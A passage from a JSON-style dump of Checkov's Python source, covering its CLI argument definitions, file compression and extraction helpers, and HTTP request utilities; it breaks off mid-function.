r.write(\"  {:<19}{}\\n\".format(key + \":\", value))\n                else:\n                    if isinstance(value, str):\n                        r.write(\"  %s\\n\" % value)\n                    elif isinstance(value, list):\n                        value = list(value)  # copy\n                        if source == \"Command Line Args: \":\n                            index = 0\n                            while index < len(value):\n                                if value[index] in self.fields_to_sanitize:\n                                    index += 1\n                                    value[index] = \"****\"\n                                index += 1\n                        r.write(\"  %s\\n\" % \" \".join(value))\n\n        return r.getvalue()\n\n    def write_config_file(\n            self, parsed_namespace: argparse.Namespace, output_file_paths: list[str], exit_after: bool = False\n    ) -> None:\n        \"\"\"\n        Write the given settings to output files. Overrides write_config_file from the class ArgumentParser for\n        correcting types of some attributes (example: check, skip_check)\n\n        :param parsed_namespace: namespace object created within parse_known_args()\n        :param output_file_paths: any number of file paths to write the config to\n        :param exit_after: whether to exit the program after writing the config files\n        \"\"\"\n        for output_file_path in output_file_paths:\n            # validate the output file path\n            try:\n                with self._config_file_open_func(output_file_path, \"w\") as output_file:\n                    pass\n            except IOError as e:\n                raise ValueError(f\"Couldn't open {output_file_path} for writing\") from e\n        if output_file_paths:\n            # generate the config file contents\n            config_items = self.get_items_for_config_file_output(self._source_to_settings, parsed_namespace)\n            # convert check, skip_check, soft_fail_on and hard_fail_on to list\n            if \"check\" in config_items.keys():\n                config_items[\"check\"] = config_items[\"check\"][0].split(\",\")\n            if \"skip-check\" in config_items.keys():\n                config_items[\"skip-check\"] = config_items[\"skip-check\"][0].split(\",\")\n            if \"soft-fail-on\" in config_items.keys():\n                config_items[\"soft-fail-on\"] = config_items[\"soft-fail-on\"][0].split(\",\")\n            if \"hard-fail-on\" in config_items.keys():\n                config_items[\"hard-fail-on\"] = config_items[\"hard-fail-on\"][0].split(\",\")\n            # convert strings to booleans\n            for k in config_items.keys():\n                config_items[k] = convert_str_to_bool(config_items[k])\n\n            file_contents = self._config_file_parser.serialize(config_items)\n            for output_file_path in output_file_paths:\n                with self._config_file_open_func(output_file_path, \"w\") as output_file:\n                    output_file.write(file_contents)\n            message = \"Wrote config file to \" + \", \".join(output_file_paths)\n            if exit_after:\n                self.exit(0, message)\n            else:\n                print(message)\n\n    def add_parser_args(self) -> None:\n        self.add(\n            \"-v\",\n            \"--version\",\n            help=\"version\",\n            action=\"version\",\n            version=version,\n        )\n        self.add(\n            \"--support\",\n            action=\"store_true\",\n            help=\"Enable debug logs and upload the logs to the server. Requires a Bridgecrew or Prisma Cloud API key.\",\n            default=None\n        )\n        self.add(\n            \"-d\",\n            \"--directory\",\n            action=\"append\",\n            help=\"IaC root directory (can not be used together with --file).\",\n        )\n        self.add(\n            \"--add-check\",\n            action=\"store_true\",\n            help=\"Generate a new check via CLI prompt\",\n        )\n        self.add(\n            \"-f\",\n            \"--file\",\n            action=\"append\",\n            help=\"File to scan (can not be used together with --directory). With this option, Checkov will attempt \"\n                 'to filter the runners based on the file type. For example, if you specify a \".tf\" file, only the '\n                 \"terraform and secrets frameworks will be included. You can further limit this (e.g., skip secrets) \"\n                 \"by using the --skip-framework argument.\",\n            nargs=\"+\",\n        )\n        self.add(\n            \"--skip-path\",\n            action=\"append\",\n            help=\"Path (file or directory) to skip, using regular expression logic, relative to current \"\n                 'working directory. Word boundaries are not implicit; i.e., specifying \"dir1\" will skip any '\n                 'directory or subdirectory named \"dir1\". Ignored with -f. Can be specified multiple times.',\n        )\n        self.add(\n            \"--external-checks-dir\",\n            action=\"append\",\n            help=\"Directory for custom checks to be loaded. Can be repeated. Note that this will run Python code \"\n                 'from the specified directory, so only use this option with trusted directories.',\n        )\n        self.add(\n            \"--external-checks-git\",\n            action=\"append\",\n            help=\"GitHub url of external checks to be added. You can specify a subdirectory after a double-slash //.\"\n                 \"It is ossible to use ?ref=tags/tagName or ?ref=heads/branchName or ?ref=commit_id and \"\n                 \"cannot be used together with --external-checks-dir. Note that this will run Python code \"\n                 \"from the specified directory, so only use this option with trusted repositories.\",\n        )\n        self.add(\n            \"-l\",\n            \"--list\",\n            help=\"List checks\",\n            action=\"store_true\",\n        )\n        self.add(\n            \"-o\",\n            \"--output\",\n            action=\"append\",\n            choices=OUTPUT_CHOICES,\n            default=None,\n            help=\"Report output format. Add multiple outputs by using the flag multiple times (-o sarif -o cli)\",\n        )\n        self.add(\n            \"--output-file-path\",\n            default=None,\n            help=\"Name of the output folder to save the chosen output formats. \"\n                 \"Advanced usage: \"\n                 \"By using -o cli -o junitxml --output-file-path console,results.xml the CLI output will be printed \"\n                 \"to the console and the JunitXML output to the file results.xml.\",\n        )\n        self.add(\n            \"--output-bc-ids\",\n            action=\"store_true\",\n            help=\"Print Bridgecrew platform IDs (BC...) instead of Checkov IDs (CKV...), if the check exists in the platform\",\n        )\n        self.add(\n            \"--include-all-checkov-policies\",\n            action=\"store_true\",\n            help=\"When running with an API key, Checkov will omit any policies that do not exist in Prisma Cloud platform, \"\n                 \"except for local custom policies loaded with the --external-check flags. Use this key to include policies \"\n                 \"that only exist in Checkov in the scan. Note that this will make the local CLI results different from the \"\n                 \"results you see in the platform. Has no effect if you are not using an API key. Use the --check option to \"\n                 \"explicitly include checks by ID even if they are not in the platform, without using this flag.\",\n        )\n        self.add(\n            \"--quiet\",\n            action=\"store_true\",\n            default=False,\n            help=\"in case of CLI output, display only failed checks. Also disables progress bars\",\n        )\n        self.add(\n            \"--compact\",\n            action=\"store_true\",\n            default=False,\n            help=\"in case of CLI output, do not display code blocks\",\n        )\n        self.add(\n            \"--framework\",\n            help=\"Filter scan to run only on specific infrastructure as code frameworks. Defaults to all frameworks. If you \"\n                 \"explicitly include 'all' as a value, then all other values are ignored. Enter as a \"\n                 \"comma-separated list or repeat the flag multiple times. For example, --framework terraform,sca_package \"\n                 f\"or --framework terraform --framework sca_package. Possible values: {', '.join(['all'] + checkov_runners)}\",\n            env_var=\"CKV_FRAMEWORK\",\n            action='append',\n            nargs='+'  # we will still allow the old way (eg: --framework terraform arm cloudformation), just not prefer it\n            # intentionally no default value - we will set it explicitly during normalization (it messes up the list of lists)\n        )\n        self.add(\n            \"--skip-framework\",\n            help=\"Filter scan to skip specific infrastructure as code frameworks. \"\n                 \"This will be included automatically for some frameworks if system dependencies \"\n                 \"are missing. Enter as a comma-separated list or repeat the flag multiple times. For example, \"\n                 \"--skip-framework terraform,sca_package or --skip-framework terraform --skip-framework sca_package. \"\n                 \"Cannot include values that are also included in --framework. \"\n                 f\"Possible values: {', '.join(checkov_runners)}\",\n            default=None,\n            action='append',\n            nargs='+'\n        )\n        self.add(\n            \"-c\",\n            \"--check\",\n            help=\"Checks to run; any other checks will be skipped. Enter one or more items separated by commas. \"\n                 \"Each item may be either a Checkov check ID (CKV_AWS_123), a BC check ID (BC_AWS_GENERAL_123), or \"\n                 \"a severity (LOW, MEDIUM, HIGH, CRITICAL). If you use a severity, then all checks equal to or \"\n                 \"above the lowest severity in the list will be included. This option can be combined with \"\n                 \"--skip-check. If it is, then the logic is to first take all checks that match this list, and then \"\n                 \"remove all checks that match the skip list. For example, if you use --check CKV_123 and \"\n                 \"--skip-check LOW, then CKV_123 will not run if it is a LOW severity. Similarly, if you use \"\n                 \"--check CKV_789 --skip-check MEDIUM, then CKV_789 will run if it is a HIGH severity. If you use a \"\n                 \"check ID here along with an API key, and the check is not part of the BC / PC platform, then the \"\n                 \"check will still be run (see --include-all-checkov-policies for more info).\",\n            action=\"append\",\n            default=None,\n            env_var=\"CKV_CHECK\",\n        )\n        self.add(\n            \"--skip-check\",\n            help=\"Checks to skip; any other checks will not be run. Enter one or more items separated by commas. \"\n                 \"Each item may be either a Checkov check ID (CKV_AWS_123), a BC check ID (BC_AWS_GENERAL_123), or \"\n                 \"a severity (LOW, MEDIUM, HIGH, CRITICAL). If you use a severity, then all checks equal to or \"\n                 \"below the highest severity in the list will be skipped. This option can be combined with --check. \"\n                 \"If it is, priority is given to checks explicitly listed by ID or wildcard over checks listed by \"\n                 \"severity. For example, if you use --skip-check CKV_123 and --check HIGH, then CKV_123 will be \"\n                 \"skipped even if it is a HIGH severity. In the case of a tie (e.g., --check MEDIUM and \"\n                 \"--skip-check HIGH for a medium severity check), then the check will be skipped.\",\n            action=\"append\",\n            default=None,\n            env_var=\"CKV_SKIP_CHECK\",\n        )\n        self.add(\n            \"--run-all-external-checks\",\n            action=\"store_true\",\n            help=\"Run all external checks (loaded via --external-checks options) even if the checks are not present \"\n                 \"in the --check list. This allows you to always ensure that new checks present in the external \"\n                 \"source are used. If an external check is included in --skip-check, it will still be skipped.\",\n        )\n        self.add(\n            \"-s\",\n            \"--soft-fail\",\n            help=\"Runs checks but always returns a 0 exit code. Using either --soft-fail-on and / or --hard-fail-on \"\n                 \"overrides this option, except for the case when a result does not match either of the soft fail \"\n                 \"or hard fail criteria, in which case this flag determines the result.\",\n            action=\"store_true\",\n        )\n        self.add(\n            \"--soft-fail-on\",\n            help=\"Exits with a 0 exit code if only the specified items fail. Enter one or more items \"\n                 \"separated by commas. Each item may be either a Checkov check ID (CKV_AWS_123), a BC \"\n                 \"check ID (BC_AWS_GENERAL_123), or a severity (LOW, MEDIUM, HIGH, CRITICAL). If you use \"\n                 \"a severity, then any severity equal to or less than the highest severity in the list \"\n                 \"will result in a soft fail. This option may be used with --hard-fail-on, using the same \"\n                 \"priority logic described in --check and --skip-check options above, with --hard-fail-on \"\n                 \"taking precedence in a tie. If a given result does not meet the --soft-fail-on nor \"\n                 \"the --hard-fail-on criteria, then the default is to hard fail\",\n            action=\"append\",\n            default=None,\n        )\n        self.add(\n            \"--hard-fail-on\",\n            help=\"Exits with a non-zero exit code for specified checks. Enter one or more items \"\n                 \"separated by commas. Each item may be either a Checkov check ID (CKV_AWS_123), a BC \"\n                 \"check ID (BC_AWS_GENERAL_123), or a severity (LOW, MEDIUM, HIGH, CRITICAL). If you use a \"\n                 \"severity, then any severity equal to or greater than the lowest severity in the list will \"\n                 \"result in a hard fail. This option can be used with --soft-fail-on, using the same \"\n                 \"priority logic described in --check and --skip-check options above, with --hard-fail-on \"\n                 \"taking precedence in a tie.\",\n            action=\"append\",\n            default=None,\n        )\n        self.add(\n            \"--bc-api-key\",\n            env_var=\"BC_API_KEY\",\n            sanitize=True,\n            help=\"Bridgecrew API key or Prisma Cloud Access Key (see --prisma-api-url)\",\n        )\n        self.add(\n            \"--prisma-api-url\",\n            env_var=\"PRISMA_API_URL\",\n            default=None,\n            help=\"The Prisma Cloud API URL (see: https://prisma.pan.dev/api/cloud/api-urls). \"\n                 \"Requires --bc-api-key to be a Prisma Cloud Access Key in the following format: <access_key_id>::<secret_key>\",\n        )\n        self.add(\n            \"--skip-results-upload\",\n            action='store_true',\n            help=\"Do not upload scan results to the platform to view in the console. Results are only available locally. \"\n                 \"If you use the --support flag, logs will still get uploaded.\",\n        )\n        self.add(\n            \"--docker-image\",\n            \"--image\",\n            help=\"Scan docker images by name or ID. Only works with --bc-api-key flag\",\n        )\n        self.add(\n            \"--dockerfile-path\",\n            help=\"Path to the Dockerfile of the scanned docker image\",\n        )\n        self.add(\n            \"--repo-id\",\n            help=\"Identity string of the repository, with form <repo_owner>/<repo_name>. Required when using the platform integration (API key).\",\n        )\n        self.add(\n            \"-b\",\n            \"--branch\",\n            help=\"Selected branch of the persisted repository. Only has effect when using the --bc-api-key flag\",\n            default=\"master\",\n        )\n        self.add(\n            \"--skip-download\",\n            help=\"Do not download any data from Prisma Cloud. This will omit doc links, severities, etc., as well as \"\n                 \"custom policies and suppressions if using an API token. Note: it will prevent BC platform IDs from \"\n                 \"being available in Checkov.\",\n            action=\"store_true\",\n        )\n        self.add(\n            \"--use-enforcement-rules\",\n            action=\"store_true\",\n            help=\"Use the Enforcement rules configured in the platform for hard / soft fail logic. With this option, \"\n                 \"the enforcement rule matching this repo, or the default rule if there is no match, will determine \"\n                 \"this behavior: any check with a severity below the selected rule's soft-fail threshold will be \"\n                 \"skipped; any check with a severity equal to or greater than the rule's hard-fail threshold will \"\n                 \"be part of the hard-fail list, and any check in between will be part of the soft-fail list. For \"\n                 \"example, if the given enforcement rule has a hard-fail value of HIGH and a soft-fail value of MEDIUM,\"\n                 \"this is the equivalent of using the flags `--skip-check LOW --hard-fail-on HIGH`. You can use --check, \"\n                 \"--skip-check, --soft-fail, --soft-fail-on, or --hard-fail-on to override portions of an enforcement rule. \"\n                 \"Note, however, that the logic of applying the --check list and then the --skip-check list (as described \"\n                 \"above under --check) still applies here. Requires a BC or PC platform API key.\",\n        )\n        self.add(\n            \"--download-external-modules\",\n            help=\"download external terraform modules from public git repositories and terraform registry\",\n            default=None,\n            env_var=\"DOWNLOAD_EXTERNAL_MODULES\",\n        )\n        self.add(\n            \"--var-file\",\n            action=\"append\",\n            help=\"Variable files to load in addition to the default files (see \"\n                 \"https://www.terraform.io/docs/language/values/variables.html#variable-definitions-tfvars-files).\"\n                 \"Currently only supported for source Terraform (.tf file), and Helm chart scans.\"\n                 \"Requires using --directory, not --file.\",\n            env_var=\"CKV_VAR_FILE\",\n        )\n        self.add(\n            \"--external-modules-download-path\",\n            help=\"set the path for the download external terraform modules\",\n            default=DEFAULT_EXTERNAL_MODULES_DIR,\n            env_var=\"EXTERNAL_MODULES_DIR\",\n        )\n        self.add(\n            \"--evaluate-variables\",\n            help=\"evaluate the values of variables and locals\",\n            env_var=\"CKV_EVAL_VARS\",\n            default=True,\n        )\n        self.add(\n            \"-ca\", \"--ca-certificate\", help=\"Custom CA certificate (bundle) file\", default=None, env_var=\"BC_CA_BUNDLE\"\n        )\n        self.add(\n            \"--no-cert-verify\",\n            action=\"store_true\",\n            help=\"Skip SSL certificate verification. Use this to bypass errors related to SSL certificates. Warning: \"\n                 \"this should only be used for testing purposes. Skipping certificate verification is dangerous as \"\n                 \"invalid and falsified certificates cannot be detected.\"\n        )\n        self.add(\n            \"--repo-root-for-plan-enrichment\",\n            help=\"Directory containing the hcl code used to generate a given plan file. Use with -f.\",\n            dest=\"repo_root_for_plan_enrichment\",\n            action=\"append\",\n        )\n        self.add(\n            \"--config-file\",\n            help=\"path to the Checkov configuration YAML file\",\n            is_config_file=True,\n            default=None,\n        )\n        self.add(\n            \"--create-config\",\n            help=\"takes the current command line args and writes them out to a config file at \" \"the given path\",\n            is_write_out_config_file_arg=True,\n            default=None,\n        )\n        self.add(\n            \"--show-config\",\n            help=\"prints all args and config settings and where they came from \"\n                 \"(eg. commandline, config file, environment variable or default)\",\n            action=\"store_true\",\n            default=None,\n        )\n        self.add(\n            \"--create-baseline\",\n            help=\"Alongside outputting the findings, save all results to .checkov.baseline file\"\n                 \" so future runs will not re-flag the same noise. Works only with `--directory` flag\",\n            action=\"store_true\",\n            default=False,\n        )\n        self.add(\n            \"--baseline\",\n            help=\"Use a .checkov.baseline file to compare current results with a known baseline. \"\n                 \"Report will include only failed checks that are new with respect to the provided baseline\",\n            default=None,\n        )\n        self.add(\n            \"--output-baseline-as-skipped\",\n            help=\"output checks that are skipped due to baseline file presence\",\n            action=\"store_true\",\n            default=False,\n        )\n        self.add(\n            \"--skip-cve-package\",\n            help=\"filter scan to run on all packages but a specific package identifier (denylist), You can \"\n                 \"specify this argument multiple times to skip multiple packages\",\n            action=\"append\",\n            default=None,\n        )\n        self.add(\n            \"--policy-metadata-filter\",\n            help=\"comma separated key:value string to filter policies based on Prisma Cloud policy metadata. \"\n                 \"When used with --policy-metadata-filter-exception, the exceptions override any policies selected as\"\n                 \"a result of the --policy-metadata-filter flag.\"\n                 \"See https://prisma.pan.dev/api/cloud/cspm/policy#operation/get-policy-filters-and-options for \"\n                 \"information on allowed filters. Example: policy.label=label1,policy.label=label2,cloud.type=aws\",\n            default=None,\n            env_var=\"CKV_POLICY_METADATA_FILTER\"\n        )\n        self.add(\n            \"--policy-metadata-filter-exception\",\n            help=\"comma separated key:value string to exclude filtered policies based on Prisma Cloud policy metadata. \"\n                 \"When used with --policy-metadata-filter, the exceptions override any policies selected as\"\n                 \"a result of the --policy-metadata-filter flag.\"\n                 \"See https://prisma.pan.dev/api/cloud/cspm/policy#operation/get-policy-filters-and-options for \"\n                 \"information on allowed filters. Example: policy.label=label1,policy.label=label2,cloud.type=aws\",\n            default=None,\n            env_var=\"CKV_POLICY_METADATA_FILTER_EXCEPTION\"\n        )\n        self.add(\n            \"--secrets-scan-file-type\",\n            default=[],\n            env_var=\"CKV_SECRETS_SCAN_FILE_TYPE\",\n            action=\"append\",\n            help=\"not in use\",\n        )\n        self.add(\n            \"--enable-secret-scan-all-files\",\n            default=False,\n            env_var=\"CKV_SECRETS_SCAN_ENABLE_ALL\",\n            action=\"store_true\",\n            help=\"enable secret scan for all files\",\n        )\n        self.add(\n            \"--block-list-secret-scan\",\n            default=[],\n            env_var=\"CKV_SECRETS_SCAN_BLOCK_LIST\",\n            action=\"append\",\n            help=\"List of files to filter out from the secret scanner\",\n        )\n        self.add(\n            \"--summary-position\",\n            default=\"top\",\n            choices=SUMMARY_POSITIONS,\n            help=\"Chose whether the summary will be appended on top (before the checks results) or on bottom \"\n                 \"(after check results), default is on top.\",\n        )\n        self.add(\n            \"--skip-resources-without-violations\",\n            help=\"exclude extra resources (resources without violations) from report output\",\n            action=\"store_true\",\n            env_var=\"CKV_SKIP_RESOURCES_WITHOUT_VIOLATIONS\",\n        )\n        self.add(\n            \"--deep-analysis\",\n            default=False,\n            action=\"store_true\",\n            help=\"Combine the TF Plan and TF graphs to make connections not available in either\",\n        )\n        self.add(\n            \"--no-fail-on-crash\",\n            default=False,\n            env_var=\"CKV_NO_FAIL_ON_CRASH\",\n            action=\"store_true\",\n            help=\"Return exit code 0 instead of 2\",\n        )\n        self.add(\n            \"--mask\",\n            action=\"append\",\n            default=[],\n            help=\"List of <resource_type>:<variable> OR <variable> only. Each entry in the list will be used for\"\n                 \"masking the desired attribute for resource (or for all resources, if no resource given).\"\n                 \"Notice: one entry can contain several variables, separated with a comma. For example:\"\n                 \"<resource_type>:<variable1>,<variable2> OR <variable1>,<variable2>\"\n        )\n        self.add(\n            \"--scan-secrets-history\",\n            action=\"store_true\",\n            default=False,\n            help=\"will scan the history of commits for secrets\"\n        )\n        self.add(\n            \"--secrets-history-timeout\",\n            action=\"store\",\n            default='12h',\n            help=\"maximum time to stop the scan \"\n        )\n        self.add(\n            \"--custom-tool-name\",\n            default=\"Checkov\",\n            help=\"Add a tool name if you want your output to be tagged with a specific tool name,\"\n                 \"this is useful when integrating with other tools such as uploading SARIF files to github code scanning\"\n        )\n"
  },
  {
    "path": "checkov/common/util/file_utils.py",
    "content": "from __future__ import annotations\n\nimport os.path\nimport tarfile\nimport base64\nimport gzip\nimport io\nimport logging\nfrom pathlib import Path\nfrom typing import Dict\nfrom zipfile import ZipFile\n\nfrom charset_normalizer import from_path\n\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\n\nlogger = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(logger)\n\n\ndef convert_to_unix_path(path: str) -> str:\n    return path.replace('\\\\', '/')\n\n\ndef extract_tar_archive(source_path: str, dest_path: str) -> None:\n    with tarfile.open(source_path) as tar:\n        tar.extractall(path=dest_path)  # nosec  # only trusted source\n\n\ndef extract_zip_archive(source_path: str, dest_path: str) -> None:\n    with ZipFile(source_path) as zip:\n        zip.extractall(path=dest_path)  # nosec  # only trusted source\n\n\ndef compress_file_gzip_base64(input_path: str) -> str:\n    try:\n        with open(input_path, 'rb') as json_results_file:\n            data = json_results_file.read()\n        zip_file = gzip.compress(data)  # to gzip - return in bytes\n        base64_bytes = base64.b64encode(zip_file)  # to base64\n        base64_string = base64_bytes.decode(\"utf-8\")\n        return base64_string\n    except Exception:\n        logging.exception(\"failed to open and load results file\")\n        raise\n\n\ndef decompress_file_gzip_base64(compressed_file_body: str) -> bytes:\n    try:\n        # 1. convert string to bytes\n        # 2. decode base64 data\n        # 3. wrap decoded binary data with BytesIO to enable reading\n        # 4. gunzip compressed data\n        base64_bytes = compressed_file_body.encode(\"utf-8\")\n        decoded_base64 = base64.b64decode(base64_bytes)\n        with gzip.open(io.BytesIO(decoded_base64), 'rb') as file_extracted_body:\n            return file_extracted_body.read()\n    except Exception:\n        logging.exception(\"failed to extract package file\")\n        raise\n\n\ndef compress_string_io_tar(string_io: io.StringIO) -> io.BytesIO:\n    file_io = io.BytesIO()\n    str_data = string_io.getvalue().encode('utf8')\n    bio = io.BytesIO(str_data)\n    try:\n        with tarfile.open(fileobj=file_io, mode='w:gz') as tar:\n            info = tar.tarinfo(name='logs_file.txt')\n            bio.seek(0)\n            info.size = string_io.tell()\n            tar.addfile(info, bio)\n        file_io.seek(0)\n        return file_io\n    except Exception:\n        logging.exception(\"failed to compress logging file\")\n        raise\n\n\ndef compress_multiple_strings_ios_tar(logs_streams: Dict[str, io.StringIO]) -> io.BytesIO:\n    tar_stream = io.BytesIO()\n    try:\n        with tarfile.open(fileobj=tar_stream, mode='w:gz') as tar:\n            for filename, stringio in logs_streams.items():\n                bytes_io = io.BytesIO(stringio.getvalue().encode())\n\n                tarinfo = tarfile.TarInfo(name=f'{filename}.log')\n                tarinfo.size = len(bytes_io.getvalue())\n\n                bytes_io.seek(0)\n                tar.addfile(tarinfo, fileobj=bytes_io)\n\n        tar_stream.seek(0)\n        return tar_stream\n    except Exception:\n        logging.exception(\"failed to compress logging file\")\n        raise\n\n\ndef read_file_safe(file_path: str) -> str:\n    try:\n        with open(file_path, 'r') as f:\n            file_content = f.read()\n            return file_content\n    except Exception:\n        logging.warning(\n            \"Could not open file\",\n            extra={\"file_path\": file_path}\n        )\n        return \"\"\n\n\ndef get_file_size_safe(file_path: str) -> int:\n    try:\n        return os.path.getsize(file_path)\n    except Exception as e:\n        logging.warning(\n            f\"Could not obtain file size, {str(e)}\",\n            extra={\"file_path\": file_path}\n        )\n        return -1\n\n\ndef read_file_with_any_encoding(file_path: str | Path) -> str:\n    \"\"\"Read the file with the system encoding and then try to detect it\"\"\"\n\n    file_path = file_path if isinstance(file_path, Path) else Path(file_path)\n\n    try:\n        content = file_path.read_text()\n    except UnicodeDecodeError:\n        logger.info(f\"Encoding for file {file_path} is not UTF-8, trying to detect it\")\n        content = str(from_path(file_path).best())\n\n    return content\n"
  },
  {
    "path": "checkov/common/util/http_utils.py",
    "content": "from __future__ import annotations\n\nimport json\nimport ssl\nimport uuid\nfrom urllib.parse import urlparse\nimport requests\nimport logging\nimport time\nimport os\nimport aiohttp\nimport asyncio\nfrom typing import Any, TYPE_CHECKING, cast, Optional, overload\n\nfrom urllib3.response import HTTPResponse\nfrom urllib3.util import parse_url\n\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.util.consts import DEV_API_GET_HEADERS, DEV_API_POST_HEADERS, PRISMA_API_GET_HEADERS, \\\n    PRISMA_PLATFORM, BRIDGECREW_PLATFORM\nfrom checkov.common.util.data_structures_utils import merge_dicts\nfrom checkov.common.util.type_forcers import force_int, force_float\nfrom checkov.version import version as checkov_version\n\nif TYPE_CHECKING:\n    from checkov.common.bridgecrew.bc_source import SourceType\n    from requests import Response\n    from aiohttp.typedefs import StrOrURL\n    from aiohttp import ClientResponse\n\n# https://requests.readthedocs.io/en/latest/user/advanced/#timeouts\nREQUEST_CONNECT_TIMEOUT = force_float(os.getenv(\"CHECKOV_REQUEST_CONNECT_TIMEOUT\")) or 3.1\nREQUEST_READ_TIMEOUT = force_int(os.getenv(\"CHECKOV_REQUEST_READ_TIMEOUT\")) or 30\nDEFAULT_TIMEOUT = (REQUEST_CONNECT_TIMEOUT, REQUEST_READ_TIMEOUT)\n\n# https://urllib3.readthedocs.io/en/stable/user-guide.html#retrying-requests\nREQUEST_RETRIES = force_int(os.getenv(\"CHECKOV_REQUEST_RETRIES\")) or 3\n\nlogger = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(logger)\n\n\n@overload\ndef normalize_bc_url(url: None) -> None:\n    ...\n\n\n@overload\ndef normalize_bc_url(url: str) -> str:\n    ...\n\n\ndef normalize_bc_url(url: str | None) -> str | None:\n    if not url:\n        return None\n    return url.lower().replace('http:', 'https:').strip().rstrip('/')\n\n\ndef normalize_prisma_url(url: str | None) -> str | None:\n    \"\"\" Correct common Prisma Cloud API URL misconfigurations \"\"\"\n    if not url:\n        return None\n    return url.lower().replace('//app', '//api').replace('http:', 'https:').strip().rstrip('/')\n\n\ndef get_auth_error_message(status: int, is_prisma: bool, is_s3_upload: bool) -> str:\n    platform_type = PRISMA_PLATFORM if is_prisma else BRIDGECREW_PLATFORM\n    error_message = f'Received unexpected response from platform (status code {status}). Please verify ' \\\n                    f'that your API token is valid and has permissions to call the {platform_type} APIs.'\n    if platform_type == PRISMA_PLATFORM:\n        error_message += 'The key must be associated with a Developer or Sys Admin role / permission group.'\n    elif is_s3_upload:\n        # This part only applies to S3 upload, but not downloading the run config\n        error_message += 'The key must be associated with any role besides Auditor.'\n    return error_message\n\n\ndef extract_error_message(response: requests.Response | HTTPResponse) -> Optional[str]:\n    if (isinstance(response, requests.Response) and response.content) or (\n            isinstance(response, HTTPResponse) and response.data):\n        raw = response.content if isinstance(response, requests.Response) else response.data\n        try:\n            content = json.loads(raw)\n            if 'message' in content:\n                return cast(str, content['message'])\n            elif 'Message' in content:\n                return cast(str, content['Message'])\n        except Exception:\n            logging.debug(f'Failed to parse the response content: {raw.decode()}')\n\n    return response.reason\n\n\ndef get_auth_header(token: str) -> dict[str, str]:\n    return {\n        'Authorization': token\n    }\n\n\ndef get_prisma_auth_header(token: str) -> dict[str, str]:\n    return {\n        'x-redlock-auth': token\n    }\n\n\ndef get_version_headers(client: str, client_version: str | None) -> dict[str, str]:\n    return {\n        'x-api-client': client,\n        'x-api-version': client_version or \"unknown\",\n        'x-api-checkov-version': checkov_version\n    }\n\n\ndef get_user_agent_header() -> dict[str, str]:\n    return {'User-Agent': f'checkov/{checkov_version}'}\n\n\ndef get_default_get_headers(client: SourceType, client_version: str | None) -> dict[str, Any]:\n    return merge_dicts(DEV_API_GET_HEADERS, get_version_headers(client.name, client_version), get_user_agent_header())\n\n\ndef get_default_post_headers(client: SourceType, client_version: str | None) -> dict[str, Any]:\n    return merge_dicts(DEV_API_POST_HEADERS, get_version_headers(client.name, client_version), get_user_agent_header())\n\n\ndef get_prisma_get_headers() -> dict[str, str]:\n    return merge_dicts(PRISMA_API_GET_HEADERS, get_user_agent_header())\n\n\ndef valid_url(url: str | None) -> bool:\n    \"\"\"Checks for a valid URL, otherwise returns False\"\"\"\n\n    if not url:\n        return False\n\n    try:\n        result = parse_url(url)\n        return all([result.scheme, result.netloc])\n    except Exception:\n        return False\n\n\ndef request_wrapper(\n        method: str,\n        url: str,\n        headers: dict[str, Any],\n        data: Any | None = None,\n        json: dict[str, Any] | None = None,\n        should_call_raise_for_status: bool = False,\n        params: dict[str, Any] | None = None,\n        log_json_body: bool = True\n) -> Response:\n    # using of \"retry\" mechanism for 'requests.request' due to unpredictable 'ConnectionError' and 'HttpError'\n    # instances that appears from time to time.\n    # 'ConnectionError' instances that appeared:\n    # * 'Connection aborted.', ConnectionResetError(104, 'Connection reset by peer').\n    # * 'Connection aborted.', OSError(107, 'Socket not connected').\n    # 'HTTPError' instances that appeared:\n    # * 403 Client Error: Forbidden for url.\n    # * 504 Server Error: Gateway Time-out for url.\n\n    request_max_tries = int(os.getenv('REQUEST_MAX_TRIES', 3))\n    sleep_between_request_tries = float(os.getenv('SLEEP_BETWEEN_REQUEST_TRIES', 1))\n\n    for i in range(request_max_tries):\n        try:\n            headers[\"X-Request-Id\"] = str(uuid.uuid4())\n            response = requests.request(\n                method=method,\n                url=url,\n                headers=headers,\n                data=data,\n                json=json,\n                params=params,\n                timeout=DEFAULT_TIMEOUT,\n            )\n            if should_call_raise_for_status:\n                response.raise_for_status()\n            return response\n        except requests.exceptions.ConnectionError as connection_error:\n            logging.error(f\"Connection error on request {method}:{url},\\ndata:\\n{data}\\njson:{json if log_json_body else 'Redacted'}\\nheaders:{headers}\")\n            if i != request_max_tries - 1:\n                sleep_secs = sleep_between_request_tries * (i + 1)\n                logging.info(f\"retrying attempt number {i + 2} in {sleep_secs} seconds\")\n                time.sleep(sleep_secs)\n                continue\n\n            logging.exception(\"request_wrapper connection error\")\n            raise connection_error\n        except requests.exceptions.HTTPError as http_error:\n            status_code = 520  # set unknown error, if http_error.response is None\n            if http_error.response is not None:\n                status_code = http_error.response.status_code\n\n            logging.error(f\"HTTP error on request {method}:{url},\\ndata:\\n{data}\\njson:{json if log_json_body else 'Redacted'}\\nheaders:{headers}\")\n            if (status_code >= 500 or status_code == 403) and i != request_max_tries - 1:\n                sleep_secs = sleep_between_request_tries * (i + 1)\n                logging.info(f\"retrying attempt number {i + 2} in {sleep_secs} seconds\")\n                time.sleep(sleep_secs)\n                continue\n\n            logging.error(\"request_wrapper http error\", exc_info=True)\n            raise http_error\n    else:\n        raise Exception(\"Unexpected behavior: the method \\'request_wrapper\\' should be terminated inside the above for-\"\n                        \"loop\")\n\n\nasync def aiohttp_client_session_wrapper(\n        method: str,\n        url: StrOrURL,\n        headers: dict[str, Any],\n        payload: dict[str, Any] | None = None,\n) -> ClientResponse:\n    from checkov.common.util import env_vars_config\n\n    request_max_tries = int(os.getenv('REQUEST_MAX_TRIES', 3))\n    sleep_between_request_tries = float(os.getenv('SLEEP_BETWEEN_REQUEST_TRIES', 1))\n\n    # 1. Read proxy URL (may include user:pass for authentication)\n    proxy_url = env_vars_config.env_vars_config.HTTPS_PROXY\n    proxy_auth = None\n    if proxy_url:\n        parsed_proxy_url = urlparse(proxy_url)\n        if parsed_proxy_url.username and parsed_proxy_url.password:\n            proxy_auth = aiohttp.BasicAuth(login=parsed_proxy_url.username, password=parsed_proxy_url.password)\n    # 2. Read path to custom certificate bundle\n    ca_bundle_path = 